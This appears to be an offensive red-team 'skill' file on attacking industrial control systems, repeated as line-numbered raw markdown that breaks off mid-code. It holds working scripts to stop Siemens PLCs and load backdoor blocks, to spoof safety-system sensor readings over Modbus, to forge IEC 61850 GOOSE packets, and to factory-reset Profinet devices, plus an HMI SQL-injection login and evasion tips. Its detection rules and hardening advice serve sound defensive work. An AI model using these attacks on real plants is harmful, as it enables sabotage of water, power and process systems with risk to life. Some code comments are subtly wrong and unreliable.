Cyber-Physical Systems (CPS) Attack Skill
Red-team operations against Industrial Control Systems at the protocol and field-device level. This skill goes deep on PLC firmware, ICS protocol abuse, packet replay, and OT-to-IT pivot — distinct from the broader scada-ics-security skill which covers general ICS methodology.
Summary
Cyber-Physical Systems (CPS) bridge the digital and physical worlds: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices), HMIs (Human Machine Interfaces), and the industrial protocols they speak. These systems control power grids, water treatment, oil & gas pipelines, manufacturing lines, building automation (BACnet), and increasingly vehicle infrastructure (V2X, traffic control).
The 2024-2025 threat landscape for CPS attacks is dominated by:
- Unitronics PLC attack (Nov 2023) — Iranian threat group attacked water utilities in US
- Pipedream / Incontroller (2022-2024) — purpose-built ICS malware by Sandworm
- Industroyer2 (2022-2024) — Russia's grid-attack malware, refined
- FrostyGoop (2024) — Modbus-based attack on heating systems
- HMI web server CVEs — Schneider, Rockwell, Siemens all disclosed critical RCE
- OPC UA auth bypass (CVE-2024-5464) — affects every modern SCADA system
This skill covers:
- Protocol-level PLC attacks — Modbus (no auth, no encryption), DNP3 (auth rarely enabled), Profinet, EtherNet/IP, IEC 61850 (GOOSE manipulation), OPC UA (auth bypass)
- PLC firmware exploitation — Siemens S7-1500, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC
- HMI web server RCE — common pattern across all major vendors
- Engineering workstation compromise — TIA Portal, Studio 5000, EcoStruxure, GX Works
- SCADA historian abuse — bulk data exfil via ODBC
- SIS (Safety Instrumented System) bypass — the most dangerous attack vector
- OT-to-IT pivot — using OT network as bridge to corporate IT
- Vehicle infrastructure attacks — V2X, traffic signal control, EV charging
Distinct from adjacent skills:
| Skill |
Scope |
scada-ics-security |
General ICS methodology, recon, Nmap scripts, broad vendor coverage |
automotive-vehicle-security |
In-vehicle CAN bus, OBD-II, ECUs |
embedded-rtos-security |
RTOS / firmware analysis on embedded devices |
cps-attack (this) |
Field-device level: PLC programming, ICS protocol injection, SIS bypass, physical-process manipulation |
Use Cases
Reconnaissance & Discovery
- Identify PLC vendor / model via passive sniffing (Profinet LLDP, CIP Identity)
- Enumerate Modbus registers via
mbpoll / plcscan
- Discover DNP3 outstations via broadcast
- Find HMI web servers via Shodan / Censys
- Map OPC UA endpoints via
GetEndpoints request
- Identify IEC 61850 IEDs via MMS enumeration
- Locate engineering workstation (TIA Portal, Studio 5000)
Initial Access
- Modbus TCP unauth — open TCP 502 with no auth (default)
- DNP3 unauth — open TCP 20000 with no auth
- HMI web RCE — CVE chain on Schneider, Rockwell, Siemens HMI
- Engineering workstation phishing — TIA Portal project file as payload
- OPC UA anon access —
GetEndpoints → enumerate → connect as anon
- Profinet device impersonation — spoof LLDP to redirect traffic
- Vendor remote support — backdoor in vendor VPN / TeamViewer
Privilege Escalation
- PLC STOP/RUN mode change — halt physical process
- PLC program download — overwrite control logic
- Firmware replacement — flash malicious firmware to PLC
- SIS force — override safety logic (catastrophic)
- HMI-to-PLC escalation — HMI credentials reused on PLC
- Engineering workstation admin — local admin via TIA Portal cache
Persistence
- Hidden function block — add stealth block to PLC program
- Backdoor HMI account — admin user on HMI web
- Persistence via OPC UA rogue server — MITM all OPC UA traffic
- SCADA historian backdoor — SQL injection in vendor app
Defense Evasion
- Force read-only mode on HMI — operators can't see changes
- Spoof sensor values — Modbus write to input registers
- Disable alarm thresholds — modify alarm config in HMI
- Time-synchronized attack — revert PLC program at exact moment to evade comparison
- PLC program obfuscation — obscure ladder logic to slow IR
Collection & Exfiltration
- Modbus register bulk read — full process state
- SCADA historian ODBC dump — years of historical data
- OPC UA bulk browse — entire tag database
- HMI screen scrape — current operator view
- Engineering workstation project file theft — full PLC program source
Impact
- PLC STOP — halt physical process; operators lose control
- Sensor spoofing + actuator override — physical damage without alarm
- Safety logic bypass — defeat SIS protection
- Operator UI freeze — show "all OK" while process runs wild
- Physical equipment damage — pump cavitation, motor burnout, pipe rupture
- Environmental release — chemical spill, water contamination
Core Tools
Field Device Targets
| Vendor |
Product |
Protocol |
Notes |
| Siemens |
S7-1200, S7-1500, S7-300 |
S7comm, S7comm-Plus, Profinet |
Dominant European |
| Rockwell Automation |
ControlLogix, CompactLogix, MicroLogix |
EtherNet/IP, CIP |
Dominant US |
| Schneider Electric |
Modicon M340, M580, Quantum |
Modbus, Modbus Plus, EtherNet/IP |
Strong in oil/gas |
| Mitsubishi |
MELSEC iQ-R, iQ-F, Q-Series |
MELSEC, SLMP |
Strong in APAC |
| Omron |
CJ, CP, NX, NJ-series |
FINS, EtherCAT |
Mid-tier globally |
| ABB |
AC500, AC800M, AC500-eCo |
Profinet, DNP3, IEC 61850 |
Power utilities |
| B&R Automation |
X20, ACOPOS |
POWERLINK |
Manufacturing |
| Beckhoff |
CX, TwinCAT |
EtherCAT, ADS |
Discrete manufacturing |
| Wago |
PFC, 750-series |
Modbus, EtherNet/IP |
Building automation |
| Unitronics |
Vision, Samba, UniStream |
Modbus, UniAPI |
SMB / water |
| Yokogawa |
CENTUM, STARDOM |
DNP3, Modbus, Vnet |
Process industries |
ICS Protocols
| Protocol |
Port |
Auth |
Encryption |
Notes |
| Modbus TCP |
502 |
None |
None |
Universal, but trivial to abuse |
| Modbus RTU |
serial |
None |
None |
RS-485 / RS-232 |
| DNP3 |
20000 |
Optional (v5+) |
Optional |
Power utility |
| DNP3-secure |
20000 |
Yes (Aggressive Mode) |
TLS |
Rare in field |
| Profinet |
- |
None |
None |
Layer 2, real-time |
| Profinet DCP |
- |
Configurable |
None |
Device config |
| EtherNet/IP |
44818, 2222 |
None |
None |
CIP over TCP/UDP |
| CIP |
- |
None / Class-based |
None |
Common Industrial Protocol |
| OPC UA |
4840 |
Optional (UserToken) |
Optional (TLS) |
Modern, secure-by-config |
| IEC 61850 MMS |
102 |
Optional |
None |
Substation comms |
| IEC 61850 GOOSE |
- |
None |
None |
Layer 2 multicast |
| IEC 60870-5-104 |
2404 |
None |
None |
Power utility (Europe) |
| BACnet |
47808 |
None |
None |
Building automation |
| LonTalk |
- |
None |
None |
Building automation |
| HART |
- |
None |
None |
Field instrument |
| FF H1 / HSE |
- |
None |
None |
Foundation Fieldbus |
| EtherCAT |
34980 |
None |
None |
Motion control |
Offensive Toolkit
# Recon
nmap -sV --script=modbus-discover,modbus-brute,enip-info,bacnet-info -p 502,44818,47808,20000,4840 10.0.0.0/24
plcscan 10.0.0.0/24
claroty-edge-cli device-list
# Protocol tools
mbpoll -m tcp -a 1 -r 0 -c 10 10.0.0.5 # Modbus read
mbgetest -a 10.0.0.5 -r 1 -c 100 # Modbus get
plc4x snapshot # Multi-protocol PLC tool
opendnp3-demo # DNP3 client
opcua-cli browse opc.tcp://10.0.0.5:4840 # OPC UA browse
# Packet manipulation
scapy
mitmproxy --mode transparent
wireshark
# Vendor-specific
# Siemens
snap7-server # S7 protocol test
s7-client # S7 client library
# Rockwell
rslinx # Rockwell network scan (Windows)
ethip-client
# Schneider
modicon-scan
# OPC UA
opcua-cli
node-opcua
# Metasploit modules
msfconsole
> use auxiliary/scanner/scada/modbusclient
> use auxiliary/scanner/scada/modbus_findunitid
> use auxiliary/admin/scada/modicon_stuxft
# ICS-specific frameworks
redpoint # Digital Bond's ICS tools
mehari # Open ICS framework
cyphon # Open-source IDS
conpot # ICS honeypot
mih # ICS protocol fuzzer
Methodology
Phase 1 — Recon (OT Network Discovery)
OT networks are often air-gapped (or "air-gapped") — but rarely. Identify:
- PLC vendor + model + firmware
- HMI vendor + software version
- Engineering workstation + vendor software (TIA Portal, Studio 5000)
- SCADA historian + DB backend
- Network topology (often flat L2)
# Passive recon (preferred — OT teams hate active scanning)
tcpdump -i eth0 -w ot.pcap
# Active recon (low-rate; coordinated)
nmap -sn 10.0.0.0/24 -T1 # ping sweep, polite timing
nmap -sV --script=bacnet-info,enip-info,modbus-discover -p 502,44818,47808,20000,4840,102 10.0.0.0/24
# CIP Identity (EtherNet/IP)
python3 kali_cip_identity.py --target 10.0.0.5
Phase 2 — Protocol Probe
# Modbus
mbpoll -m tcp -a 1 -r 0 -c 100 10.0.0.5
# Reads holding registers 0-99 from slave 1
# Find Modbus unit IDs
for uid in $(seq 1 250); do
mbpoll -m tcp -a $uid -r 0 -c 1 -t 3 10.0.0.5 2>/dev/null | grep -q '\[' && echo "Unit ID $uid active"
done
# EtherNet/IP CIP Identity
nmap --script enip-info -p 44818 10.0.0.5
# OPC UA endpoints
opcua-cli endpoints opc.tcp://10.0.0.5:4840
opcua-cli browse opc.tcp://10.0.0.5:4840 --user anon --pass ''
# DNP3
opendnp3-demo master --remote 10.0.0.5:20000
Phase 3 — Initial Access
Common OT initial-access vectors:
- HMI web RCE — vendor HMI ships with web admin; common RCE CVEs
- Engineering workstation phishing — TIA Portal / Studio 5000 project as lure
- Remote vendor support — TeamViewer / vendor VPN
- Modbus unauth — direct TCP 502 access
- OT-to-IT bridge — DMZ host with both network interfaces
Phase 4 — PLC Exploitation
Once inside OT network:
- PLC STOP — halt controller
- Read PLC program — ladder logic / function block
- Modify program — insert backdoor block
- Download new program — overwrite
- Force sensor values — Modbus write to inputs
Phase 5 — HMI / SCADA Compromise
- HMI web RCE → server shell
- HMI DB → SCADA historian
- HMI config → operator passwords (often cleartext)
Phase 6 — Engineering Workstation
The engineering workstation holds:
- PLC program source (full ladder logic)
- Vendor credentials for all PLCs
- HMI configuration
- Historian DB credentials
Phase 7 — SIS Bypass
Safety Instrumented Systems (SIS) protect against catastrophic failure. Attackers bypass SIS to enable physical damage.
- Force SIS logic — modify SIS PLC program
- Bypass SIS via HMI — operator override
- Spoof SIS inputs — Modbus write to SIS input registers
- SIS firmware rootkit — flash malicious SIS firmware
Phase 8 — OT-to-IT Pivot
- Engineering workstation dual-homed — both OT and IT NICs
- Historian DB link — ODBC to IT data warehouse
- Vendor remote support — pivot through vendor VPN
- DMZ jump host — often has reach into both
Practical Steps
Step A — Identify PLC via CIP Identity (EtherNet/IP)
import socket, struct
# EtherNet/IP CIP Identity request
def cip_identity(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 44818))
# Encapsulation header: register session
cmd = 0x0065 # RegisterSession
length = 0
session = 0
header = struct.pack('<HHII', cmd, length, session, 0)
# Protocol version 1, option flags 0
body = struct.pack('<II', 1, 0)
msg = header + body
s.send(msg)
r = s.recv(1024)
session = struct.unpack('<I', r[4:8])[0]
# CIP Identity (ListIdentity)
cmd = 0x0063
msg = struct.pack('<HHII', cmd, 0, session, 0)
s.send(msg)
r = s.recv(2048)
# Parse response for vendor, product, serial, version
print(f'{ip}: {r!r}')
for ip in ['10.0.0.1', '10.0.0.2', '10.0.0.3']:
cip_identity(ip)
Step B — Modbus register enumeration
# kali_modbus_scan.py
from pyModbusTCP.client import ModbusClient
c = ModbusClient(host='10.0.0.5', port=502)
c.open()
# Find unit ID
for uid in range(1, 248):
c.unit_id = uid
regs = c.read_holding_registers(0, 10)
if regs is not None:
print(f'Unit {uid} active: {regs}')
# Read all holding registers on unit 1
c.unit_id = 1
for block_start in range(0, 65536, 100):
regs = c.read_holding_registers(block_start, 100)
if regs:
non_zero = [(block_start + i, v) for i, v in enumerate(regs) if v != 0]
if non_zero:
print(f'Block {block_start}: {non_zero[:5]}')
# Write to holding register (force value)
c.write_single_register(40001, 1337) # change setpoint
Step C — HMI web RCE (Schneider example)
# CVE-2024-XXXXX (illustrative) — Schneider EcoStruxure HMI web auth bypass
curl -sk -X POST https://hmi.example.com/api/login \
-d '{"username":"admin","password":"' OR 1=1 --"}' \
-H "Content-Type: application/json"
# Once logged in as admin:
# Upload malicious firmware via /api/firmware/upload
curl -sk -X POST https://hmi.example.com/api/firmware/upload \
-H "Authorization: Bearer $TOKEN" \
-F "file=@backdoor.bin"
Step D — PLC STOP via S7comm
from snap7.client import Client
c = Client()
c.connect('10.0.0.5', 0, 1) # rack 0, slot 1 (typical S7-1500)
# Read PLC state
state = c.get_cpu_state()
print(f'CPU state: {state}') # Running, Stop, etc.
# Stop the PLC (halt physical process)
c.plc_stop()
print(f'After stop: {c.get_cpu_state()}')
# Read PLC time
print(c.get_plc_time())
# Read block list
print(c.list_blocks())
# Download new code block
with open('backdoor_block.bin', 'rb') as f:
block_data = f.read()
c.upload(db_number=99, data=block_data)
Step E — OPC UA anon browse
# OPC UA anon access
opcua-cli browse opc.tcp://10.0.0.5:4840
# Find security policy
opcua-cli endpoints opc.tcp://10.0.0.5:4840 | jq '.[] | {securityPolicyUri, securityMode}'
# If None / None — anon access OK
# Try sensitive operations:
opcua-cli read opc.tcp://10.0.0.5:4840 --user anon \
--node "ns=2;s=ProductionData.Password"
Step F — IEC 61850 GOOSE manipulation
# GOOSE is Layer 2 multicast — no encryption, no auth
# Capture GOOSE on Wireshark (filter: goose)
# Identify IED source, dataset, gooseRef
# Replay/forge GOOSE packet via Scapy
from scapy.all import *
# (requires libscapy IEC 61850 layer — community implementations exist)
load_layer('goose')
packet = (
Ether(dst='01:0c:cd:01:00:01') /
GOOSE(appID=0x0001, gooseDatSet='LD0/LLN0$dsGeneric',
gooseRef='LD0/LLN0$generic',
stNum=2, sqNum=1,
gooseData=[1]) # attacker-controlled value
)
sendp(packet, iface='eth0', loop=1, inter=0.001)
Step G — Profinet DCP device reset
# Profinet DCP allows factory reset of Profinet device
# Use Scapy with Profinet layer
from scapy.all import Ether, sendp
# DCP Identify All (broadcast)
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPIdentifyAll()
sendp(ether)
# DCP Factory Reset
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPReset(name='name-not-set')
sendp(ether)
Step H — Engineering workstation compromise
# Find TIA Portal project files
find / -name '*.ap14' -o -name '*.ap15' -o -name '*.ap16' -o -name '*.ap17' 2>/dev/null
find / -name '*.ac14' -o -name '*.ac15' 2>/dev/null
# Studio 5000
find / -name '*.ACD' -o -name '*.MER' 2>/dev/null
# TIA Portal project may contain cleartext PLC passwords
# Parse project file with libtiepie or python parser
python3 kali_tia_project_parser.py --project /path/to/proj.ap17
# Pull cached PLC password
grep -aE '(Password|PASS)' /path/to/proj.ap17 | strings | head
Step I — SCADA historian ODBC dump
# Identify historian DB (often MS SQL Server or PI Archive)
nmap -p 1433,5450 scada-db.example.com
# Connect via ODBC
sqsh -S scada-db.example.com -U historian_user -P REPLACE_WITH_YOUR_PW
# Dump recent data
1> SELECT TOP 100 * FROM History WHERE TagName LIKE 'Temp%' ORDER BY Timestamp DESC
2> go
Step J — SIS bypass via Modbus
# SIS PLC typically has Modbus interface for monitoring
# Attacker can write to SIS input registers to spoof sensor values
# This causes SIS to "see" safe conditions when reality is unsafe
c = ModbusClient(host='10.0.0.50', port=502) # SIS PLC
c.open()
c.unit_id = 1
# Force pressure sensor reading to safe value
c.write_single_register(30001, 5000) # 5000 = 50 bar (safe)
# Reality: 100 bar (explosion risk)
# SIS sees 50 bar → does not trip → catastrophic failure
Defense Perspective
Detection
Passive OT monitoring (preferred)
- Claroty, Dragos, Nozomi passive traffic analysis
- Zeek with industrial protocol analyzers
- Suricata with ICS ruleset
Active detection
- Nmap NSE for OT (rate-limited)
- Vendor-specific CLI (Profinet DCP scan)
Sigma rules for OT events
title: Modbus write to input register (sensor spoofing)
logsource:
product: ot
service: zeek-modbus
detection:
selection:
func: write_single_register
address|re: ^3[0-9]{4}$ # input registers
condition: selection
level: critical
title: OPC UA anonymous access
logsource:
product: opcua
service: server
detection:
selection:
user: anonymous
operation|re: read|write|browse
condition: selection
level: high
title: PLC STOP from non-Engineering-Workstation
logsource:
product: ot
service: s7
detection:
selection:
pdu: plcstop
notEWS:
src|re: !^10\.0\.0\.10$
condition: selection and notEWS
level: critical
Hardening
- Purdue Model — clear separation of L0-L3 (Devices → Process Control → Supervisory → Site Ops) from L4 (Enterprise)
- DMZ jump host — single, monitored entry point
- Network segmentation — per-process VLANs; deny east-west by default
- Protocol security — DNP3-secure, OPC UA with security policy, Modbus Gateway with auth
- Engineering workstation hardening — no email, no internet, no removable media (often violated)
- PLC firmware patching — within 90 days (OT slower than IT but CVEs are critical)
- Vendor remote access —bastion host, session recording, MFA
- HMI web — disabled by default; if enabled, behind VPN
- SIS isolation — completely separate network from BPCS (Basic Process Control System)
- Continuous monitoring — passive traffic analysis for baseline deviation
Incident Response
When OT compromise suspected:
- DO NOT scan — active scanning can crash fragile PLCs
- Capture traffic — passive capture to retain evidence
- Isolate — switch port disable on suspect device; do not power off PLC
- Stop engineering workstation — unplug from network
- Switch to manual — if available, operators run process manually
- Invoke vendor — Siemens CERT, Rockwell PSIRT, Schneider CERT
- Forensics — pull HMI logs, engineering workstation image, traffic capture
- Restore — last-known-good PLC program; verify before download
- Post-mortem — Purdue Model adherence review, network architecture audit
Detection Methods
ICS/SCADA Protocol Anomalies
- Modbus abuse: Unsolicited Modbus write commands (
function code 0x05, 0x06, 0x10); non-PLC source.
- DNP3 anomalies: Unsolicited DNP3 responses; out-of-sequence application layer fragments.
- EtherNet/IP (CIP): CIP messages to non-CPU modules; unusual path segments.
- PROFINET DCP abuse: DCP write requests to device name; identify spoofing.
- BACnet anomalies: Who-Is/I-Am floods; COV subscription abuse.
Physical Process Anomalies
- Setpoint manipulation: Process variable diverging from setpoint; actuator commands exceeding safety range.
- Safety system trip: SIS (Safety Instrumented System) activation; indicates process upset.
- Historian data gaps: Missing historian data during specific time window; potential attack window.
- Process upset cascade: Multiple alarms in short window; signature of cyber-induced incident.
SIEM Detection Rules
- Splunk SPL (ICS):
index=modbus function_code IN (5,6,15,16) | stats count by src_ip, unit_id
- Dragos / Nozomi Guardian: Native OT security platform detections.
- Claroty CTD: Cyber threat detection for OT environments.
Defense Evasion Techniques
Protocol-Level Stealth
- Mimic legitimate master: Use PLC's legitimate master IP; match timing/sequence of normal commands.
- Passive reconnaissance: Sniff Modbus/DNP3 to learn protocol patterns before injecting.
- Single-shot attack: Send one malicious command (e.g., open breaker) rather than sustained abuse.
- Off-hours operation: Execute during maintenance windows; blends with legitimate activity.
Physical Effect Stealth
- Gradual setpoint change: Change setpoint slowly (1-2% per minute); avoids trip alarms.
- Sensor spoofing: Send false sensor values to historian; mask physical effect.
- Safety bypass: Disable safety system before main attack; avoids SIS trip.
Air-Gap Crossing
- Removable media: Stuxnet-style USB propagation across air gap.
- Insider threat: Use compromised engineer laptop that crosses air gap.
- Vendor remote access: Use legitimate vendor VPN credentials; bypass air gap.
- Optical/acoustic covert channels: Speaker/microphone for low-bandwidth air-gap crossing.
References
1---2name: cps-attack3description: Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs).4---56# Cyber-Physical Systems (CPS) Attack Skill78> Red-team operations against Industrial Control Systems at the protocol and field-device level. This skill goes deep on PLC firmware, ICS protocol abuse, packet replay, and OT-to-IT pivot — distinct from the broader `scada-ics-security` skill which covers general ICS methodology.910## Summary1112Cyber-Physical Systems (CPS) bridge the digital and physical worlds: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices), HMIs (Human Machine Interfaces), and the industrial protocols they speak. These systems control power grids, water treatment, oil & gas pipelines, manufacturing lines, building automation (BACnet), and increasingly vehicle infrastructure (V2X, traffic control).1314The 2024-2025 threat landscape for CPS attacks is dominated by:1516- **Unitronics PLC attack (Nov 2023)** — Iranian threat group attacked water utilities in US17- **Pipedream / Incontroller (2022-2024)** — purpose-built ICS malware by Sandworm18- **Industroyer2 (2022-2024)** — Russia's grid-attack malware, refined19- **FrostyGoop (2024)** — Modbus-based attack on heating systems20- **HMI web server CVEs** — Schneider, Rockwell, Siemens all disclosed critical RCE21- **OPC UA auth bypass (CVE-2024-5464)** — affects every modern SCADA system2223This skill covers:2425- **Protocol-level PLC attacks** — Modbus (no auth, no encryption), DNP3 (auth rarely enabled), Profinet, EtherNet/IP, IEC 61850 (GOOSE manipulation), OPC UA (auth bypass)26- **PLC firmware exploitation** — Siemens S7-1500, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC27- **HMI web server RCE** — common pattern across all major vendors28- **Engineering workstation compromise** — TIA Portal, Studio 5000, EcoStruxure, GX Works29- **SCADA historian abuse** — bulk data exfil via ODBC30- **SIS (Safety Instrumented System) bypass** — the most dangerous attack vector31- **OT-to-IT pivot** — using OT network as bridge to corporate IT32- **Vehicle infrastructure attacks** — V2X, traffic signal control, EV charging3334Distinct from adjacent skills:3536| Skill | Scope |37|-------|-------|38| `scada-ics-security` | General ICS methodology, recon, Nmap scripts, broad vendor coverage |39| `automotive-vehicle-security` | In-vehicle CAN bus, OBD-II, ECUs |40| `embedded-rtos-security` | RTOS / firmware analysis on embedded devices |41| **`cps-attack`** (this) | **Field-device level**: PLC programming, ICS protocol injection, SIS bypass, physical-process manipulation |4243## Use Cases4445### Reconnaissance & Discovery46471. **Identify PLC vendor / model** via passive sniffing (Profinet LLDP, CIP Identity)482. **Enumerate Modbus registers** via `mbpoll` / `plcscan`493. **Discover DNP3 outstations** via broadcast504. **Find HMI web servers** via Shodan / Censys515. **Map OPC UA endpoints** via `GetEndpoints` request526. **Identify IEC 61850 IEDs** via MMS enumeration537. **Locate engineering workstation** (TIA Portal, Studio 5000)5455### Initial Access56578. **Modbus TCP unauth** — open TCP 502 with no auth (default)589. **DNP3 unauth** — open TCP 20000 with no auth5910. **HMI web RCE** — CVE chain on Schneider, Rockwell, Siemens HMI6011. **Engineering workstation phishing** — TIA Portal project file as payload6112. **OPC UA anon access** — `GetEndpoints` → enumerate → connect as anon6213. **Profinet device impersonation** — spoof LLDP to redirect traffic6314. **Vendor remote support** — backdoor in vendor VPN / TeamViewer6465### Privilege Escalation666715. **PLC STOP/RUN mode change** — halt physical process6816. **PLC program download** — overwrite control logic6917. **Firmware replacement** — flash malicious firmware to PLC7018. **SIS force** — override safety logic (catastrophic)7119. **HMI-to-PLC escalation** — HMI credentials reused on PLC7220. **Engineering workstation admin** — local admin via TIA Portal cache7374### Persistence757621. **Hidden function block** — add stealth block to PLC program7722. **Backdoor HMI account** — admin user on HMI web7823. **Persistence via OPC UA rogue server** — MITM all OPC UA traffic7924. **SCADA historian backdoor** — SQL injection in vendor app8081### Defense Evasion828325. **Force read-only mode on HMI** — operators can't see changes8426. **Spoof sensor values** — Modbus write to input registers8527. **Disable alarm thresholds** — modify alarm config in HMI8628. **Time-synchronized attack** — revert PLC program at exact moment to evade comparison8729. **PLC program obfuscation** — obscure ladder logic to slow IR8889### Collection & Exfiltration909130. **Modbus register bulk read** — full process state9231. **SCADA historian ODBC dump** — years of historical data9332. **OPC UA bulk browse** — entire tag database9433. **HMI screen scrape** — current operator view9534. **Engineering workstation project file theft** — full PLC program source9697### Impact989935. **PLC STOP** — halt physical process; operators lose control10036. **Sensor spoofing + actuator override** — physical damage without alarm10137. **Safety logic bypass** — defeat SIS protection10238. **Operator UI freeze** — show "all OK" while process runs wild10339. **Physical equipment damage** — pump cavitation, motor burnout, pipe rupture10440. **Environmental release** — chemical spill, water contamination105106## Core Tools107108### Field Device Targets109110| Vendor | Product | Protocol | Notes |111|--------|---------|----------|-------|112| **Siemens** | S7-1200, S7-1500, S7-300 | S7comm, S7comm-Plus, Profinet | Dominant European |113| **Rockwell Automation** | ControlLogix, CompactLogix, MicroLogix | EtherNet/IP, CIP | Dominant US |114| **Schneider Electric** | Modicon M340, M580, Quantum | Modbus, Modbus Plus, EtherNet/IP | Strong in oil/gas |115| **Mitsubishi** | MELSEC iQ-R, iQ-F, Q-Series | MELSEC, SLMP | Strong in APAC |116| **Omron** | CJ, CP, NX, NJ-series | FINS, EtherCAT | Mid-tier globally |117| **ABB** | AC500, AC800M, AC500-eCo | Profinet, DNP3, IEC 61850 | Power utilities |118| **B&R Automation** | X20, ACOPOS | POWERLINK | Manufacturing |119| **Beckhoff** | CX, TwinCAT | EtherCAT, ADS | Discrete manufacturing |120| **Wago** | PFC, 750-series | Modbus, EtherNet/IP | Building automation |121| **Unitronics** | Vision, Samba, UniStream | Modbus, UniAPI | SMB / water |122| **Yokogawa** | CENTUM, STARDOM | DNP3, Modbus, Vnet | Process industries |123124### ICS Protocols125126| Protocol | Port | Auth | Encryption | Notes |127|----------|------|------|-----------|-------|128| **Modbus TCP** | 502 | None | None | Universal, but trivial to abuse |129| **Modbus RTU** | serial | None | None | RS-485 / RS-232 |130| **DNP3** | 20000 | Optional (v5+) | Optional | Power utility |131| **DNP3-secure** | 20000 | Yes (Aggressive Mode) | TLS | Rare in field |132| **Profinet** | - | None | None | Layer 2, real-time |133| **Profinet DCP** | - | Configurable | None | Device config |134| **EtherNet/IP** | 44818, 2222 | None | None | CIP over TCP/UDP |135| **CIP** | - | None / Class-based | None | Common Industrial Protocol |136| **OPC UA** | 4840 | Optional (UserToken) | Optional (TLS) | Modern, secure-by-config |137| **IEC 61850 MMS** | 102 | Optional | None | Substation comms |138| **IEC 61850 GOOSE** | - | None | None | Layer 2 multicast |139| **IEC 60870-5-104** | 2404 | None | None | Power utility (Europe) |140| **BACnet** | 47808 | None | None | Building automation |141| **LonTalk** | - | None | None | Building automation |142| **HART** | - | None | None | Field instrument |143| **FF H1 / HSE** | - | None | None | Foundation Fieldbus |144| **EtherCAT** | 34980 | None | None | Motion control |145146### Offensive Toolkit147148```bash149# Recon150nmap -sV --script=modbus-discover,modbus-brute,enip-info,bacnet-info -p 502,44818,47808,20000,4840 10.0.0.0/24151plcscan 10.0.0.0/24152claroty-edge-cli device-list153154# Protocol tools155mbpoll -m tcp -a 1 -r 0 -c 10 10.0.0.5 # Modbus read156mbgetest -a 10.0.0.5 -r 1 -c 100 # Modbus get157plc4x snapshot # Multi-protocol PLC tool158opendnp3-demo # DNP3 client159opcua-cli browse opc.tcp://10.0.0.5:4840 # OPC UA browse160161# Packet manipulation162scapy163mitmproxy --mode transparent164wireshark165166# Vendor-specific167# Siemens168snap7-server # S7 protocol test169s7-client # S7 client library170# Rockwell171rslinx # Rockwell network scan (Windows)172ethip-client173# Schneider174modicon-scan175# OPC UA176opcua-cli177node-opcua178179# Metasploit modules180msfconsole181> use auxiliary/scanner/scada/modbusclient182> use auxiliary/scanner/scada/modbus_findunitid183> use auxiliary/admin/scada/modicon_stuxft184185# ICS-specific frameworks186redpoint # Digital Bond's ICS tools187mehari # Open ICS framework188cyphon # Open-source IDS189conpot # ICS honeypot190mih # ICS protocol fuzzer191```192193## Methodology194195### Phase 1 — Recon (OT Network Discovery)196197OT networks are often air-gapped (or "air-gapped") — but rarely. Identify:198199- PLC vendor + model + firmware200- HMI vendor + software version201- Engineering workstation + vendor software (TIA Portal, Studio 5000)202- SCADA historian + DB backend203- Network topology (often flat L2)204205```bash206# Passive recon (preferred — OT teams hate active scanning)207tcpdump -i eth0 -w ot.pcap208209# Active recon (low-rate; coordinated)210nmap -sn 10.0.0.0/24 -T1 # ping sweep, polite timing211nmap -sV --script=bacnet-info,enip-info,modbus-discover -p 502,44818,47808,20000,4840,102 10.0.0.0/24212213# CIP Identity (EtherNet/IP)214python3 kali_cip_identity.py --target 10.0.0.5215```216217### Phase 2 — Protocol Probe218219```bash220# Modbus221mbpoll -m tcp -a 1 -r 0 -c 100 10.0.0.5222# Reads holding registers 0-99 from slave 1223224# Find Modbus unit IDs225for uid in $(seq 1 250); do226 mbpoll -m tcp -a $uid -r 0 -c 1 -t 3 10.0.0.5 2>/dev/null | grep -q '\[' && echo "Unit ID $uid active"227done228229# EtherNet/IP CIP Identity230nmap --script enip-info -p 44818 10.0.0.5231232# OPC UA endpoints233opcua-cli endpoints opc.tcp://10.0.0.5:4840234opcua-cli browse opc.tcp://10.0.0.5:4840 --user anon --pass ''235236# DNP3237opendnp3-demo master --remote 10.0.0.5:20000238```239240### Phase 3 — Initial Access241242Common OT initial-access vectors:2432441. **HMI web RCE** — vendor HMI ships with web admin; common RCE CVEs2452. **Engineering workstation phishing** — TIA Portal / Studio 5000 project as lure2463. **Remote vendor support** — TeamViewer / vendor VPN2474. **Modbus unauth** — direct TCP 502 access2485. **OT-to-IT bridge** — DMZ host with both network interfaces249250### Phase 4 — PLC Exploitation251252Once inside OT network:2532541. **PLC STOP** — halt controller2552. **Read PLC program** — ladder logic / function block2563. **Modify program** — insert backdoor block2574. **Download new program** — overwrite2585. **Force sensor values** — Modbus write to inputs259260### Phase 5 — HMI / SCADA Compromise2612621. HMI web RCE → server shell2632. HMI DB → SCADA historian2643. HMI config → operator passwords (often cleartext)265266### Phase 6 — Engineering Workstation267268The engineering workstation holds:269270- PLC program source (full ladder logic)271- Vendor credentials for all PLCs272- HMI configuration273- Historian DB credentials274275### Phase 7 — SIS Bypass276277Safety Instrumented Systems (SIS) protect against catastrophic failure. Attackers bypass SIS to enable physical damage.2782791. **Force SIS logic** — modify SIS PLC program2802. **Bypass SIS via HMI** — operator override2813. **Spoof SIS inputs** — Modbus write to SIS input registers2824. **SIS firmware rootkit** — flash malicious SIS firmware283284### Phase 8 — OT-to-IT Pivot2852861. **Engineering workstation dual-homed** — both OT and IT NICs2872. **Historian DB link** — ODBC to IT data warehouse2883. **Vendor remote support** — pivot through vendor VPN2894. **DMZ jump host** — often has reach into both290291## Practical Steps292293### Step A — Identify PLC via CIP Identity (EtherNet/IP)294295```python296import socket, struct297298# EtherNet/IP CIP Identity request299def cip_identity(ip):300 s = socket.socket(socket.AF_INET, 